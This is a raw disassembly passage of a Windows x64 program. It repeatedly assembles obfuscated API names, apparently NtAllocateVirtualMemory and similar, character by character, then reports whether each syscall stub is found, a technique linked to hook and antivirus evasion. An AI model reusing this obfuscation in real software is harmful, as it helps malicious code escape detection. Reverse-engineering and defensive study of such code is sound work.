lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1b9f]
mov qword [rbp + 0x2e28], rax
nop
nop
lea rdx, [rbp + 0x1b9f]
lea rax, [rbp + 0x1b70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x14007a3b7]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1ad0]
lea rdx, [rbp + 0x1af0]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1ab0]
lea rdx, [rbp + 0x1ad0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1a90]
lea rdx, [rbp + 0x1ab0]
lea r8, [0x14007a35d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1a70]
lea rdx, [rbp + 0x1a90]
lea r8, [0x14007a3bd]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1a50]
lea rdx, [rbp + 0x1a70]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1a30]
lea rdx, [rbp + 0x1a50]
lea r8, [0x14007a39b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1a10]
lea rdx, [rbp + 0x1a30]
lea r8, [0x14007a39d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x19f0]
lea rdx, [rbp + 0x1a10]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x19d0]
lea rdx, [rbp + 0x19f0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x19b0]
lea rdx, [rbp + 0x19d0]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x14007a39f]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x1990]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x19d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x19f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1a10]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1a30]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1a50]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1a70]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1a90]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1ab0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1b9f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x1ba0]
mov rcx, qword [rbp + 0x2f30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x1400061ee
lea rbx, [0x14007a377]
jmp 0x1400061f5
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1e2f]
mov qword [rbp + 0x2e20], rax
nop
nop
lea rdx, [rbp + 0x1e2f]
lea rax, [rbp + 0x1e00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x14007a35d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1d60]
lea rdx, [rbp + 0x1d80]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1d40]
lea rdx, [rbp + 0x1d60]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1d20]
lea rdx, [rbp + 0x1d40]
lea r8, [0x14007a3a5]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1d00]
lea rdx, [rbp + 0x1d20]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1ce0]
lea rdx, [rbp + 0x1d00]
lea r8, [0x14007a3a7]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1cc0]
lea rdx, [rbp + 0x1ce0]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1ca0]
lea rdx, [rbp + 0x1cc0]
lea r8, [0x14007a373]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1c80]
lea rdx, [rbp + 0x1ca0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1c60]
lea rdx, [rbp + 0x1c80]
lea r8, [0x14007a39b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1c40]
lea rdx, [rbp + 0x1c60]
lea r8, [0x14007a39d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1c20]
lea rdx, [rbp + 0x1c40]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c20]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1be0]
lea rdx, [rbp + 0x1c00]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
lea r8, [0x14007a39f]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x1bc0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1be0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1c00]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1c20]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1c40]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1c60]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1c80]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1ca0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1cc0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1ce0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1d00]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1d20]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1d40]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1e2f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x1e30]
mov rcx, qword [rbp + 0x2f28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x14000660f
lea rbx, [0x14007a377]
jmp 0x140006616
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x209f]
mov qword [rbp + 0x2e18], rax
nop
nop
lea rdx, [rbp + 0x209f]
lea rax, [rbp + 0x2070]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x14007a3bf]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1fd0]
lea rdx, [rbp + 0x1ff0]
lea r8, [0x14007a399]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1fb0]
lea rdx, [rbp + 0x1fd0]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1f90]
lea rdx, [rbp + 0x1fb0]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1f70]
lea rdx, [rbp + 0x1f90]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1f50]
lea rdx, [rbp + 0x1f70]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1f30]
lea rdx, [rbp + 0x1f50]
lea r8, [0x14007a3a3]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1f10]
lea rdx, [rbp + 0x1f30]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1ef0]
lea rdx, [rbp + 0x1f10]
lea r8, [0x14007a39b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1ed0]
lea rdx, [rbp + 0x1ef0]
lea r8, [0x14007a39d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1eb0]
lea rdx, [rbp + 0x1ed0]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1e90]
lea rdx, [rbp + 0x1eb0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e90]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e70]
lea r8, [0x14007a39f]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x1e50]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x1e50]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1e70]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1e90]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1ed0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1f10]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1f30]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1f50]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1f70]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1f90]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x209f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x20a0]
mov rcx, qword [rbp + 0x2f20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140006a04
lea rbx, [0x14007a377]
jmp 0x140006a0b
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x230f]
mov qword [rbp + 0x2e10], rax
nop
nop
lea rdx, [rbp + 0x230f]
lea rax, [rbp + 0x22e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x14007a3ab]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2240]
lea rdx, [rbp + 0x2260]
lea r8, [0x14007a399]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2220]
lea rdx, [rbp + 0x2240]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2220]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x21e0]
lea rdx, [rbp + 0x2200]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x21c0]
lea rdx, [rbp + 0x21e0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x21a0]
lea rdx, [rbp + 0x21c0]
lea r8, [0x14007a3a3]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2180]
lea rdx, [rbp + 0x21a0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2160]
lea rdx, [rbp + 0x2180]
lea r8, [0x14007a39b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2140]
lea rdx, [rbp + 0x2160]
lea r8, [0x14007a39d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2120]
lea rdx, [rbp + 0x2140]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2100]
lea rdx, [rbp + 0x2120]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x20e0]
lea rdx, [rbp + 0x2100]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x20c0]
lea rdx, [rbp + 0x20e0]
lea r8, [0x14007a39f]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x20c0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x20e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2100]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2120]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2140]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2160]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2180]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x21a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x21c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x21e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2200]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2220]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x230f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x2310]
mov rcx, qword [rbp + 0x2f18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140006df9
lea rbx, [0x14007a377]
jmp 0x140006e00
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x253f]
mov qword [rbp + 0x2e08], rax
nop
nop
lea rdx, [rbp + 0x253f]
lea rax, [rbp + 0x2510]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x14007a3c1]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2470]
lea rdx, [rbp + 0x2490]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2450]
lea rdx, [rbp + 0x2470]
lea r8, [0x14007a375]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2430]
lea rdx, [rbp + 0x2450]
lea r8, [0x14007a3a1]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2410]
lea rdx, [rbp + 0x2430]
lea r8, [0x14007a3a3]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x23f0]
lea rdx, [rbp + 0x2410]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x23d0]
lea rdx, [rbp + 0x23f0]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x23b0]
lea rdx, [rbp + 0x23d0]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2390]
lea rdx, [rbp + 0x23b0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2370]
lea rdx, [rbp + 0x2390]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2350]
lea rdx, [rbp + 0x2370]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2330]
lea rdx, [rbp + 0x2350]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x2330]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x2330]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2350]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2370]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2390]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x23b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x23d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x23f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2410]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2430]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2450]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x253f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x2540]
mov rcx, qword [rbp + 0x2f10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140007196
lea rbx, [0x14007a377]
jmp 0x14000719d
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x270f]
mov qword [rbp + 0x2e00], rax
nop
nop
lea rdx, [rbp + 0x270f]
lea rax, [rbp + 0x26e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x14007a3b1]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x14007a3bd]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2640]
lea r8, [0x14007a3ab]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2600]
lea rdx, [rbp + 0x2620]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x25e0]
lea rdx, [rbp + 0x2600]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x25c0]
lea rdx, [rbp + 0x25e0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x2560]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x25e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2600]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x270f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x2710]
mov rcx, qword [rbp + 0x2f08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x1400074af
lea rbx, [0x14007a377]
jmp 0x1400074b6
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x297f]
mov qword [rbp + 0x2df8], rax
nop
nop
lea rdx, [rbp + 0x297f]
lea rax, [rbp + 0x2950]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x2930]
lea rdx, [rbp + 0x2950]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x14007a371]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x14007a3bd]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
lea r8, [0x14007a369]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2890]
lea rdx, [rbp + 0x28b0]
lea r8, [0x14007a36b]
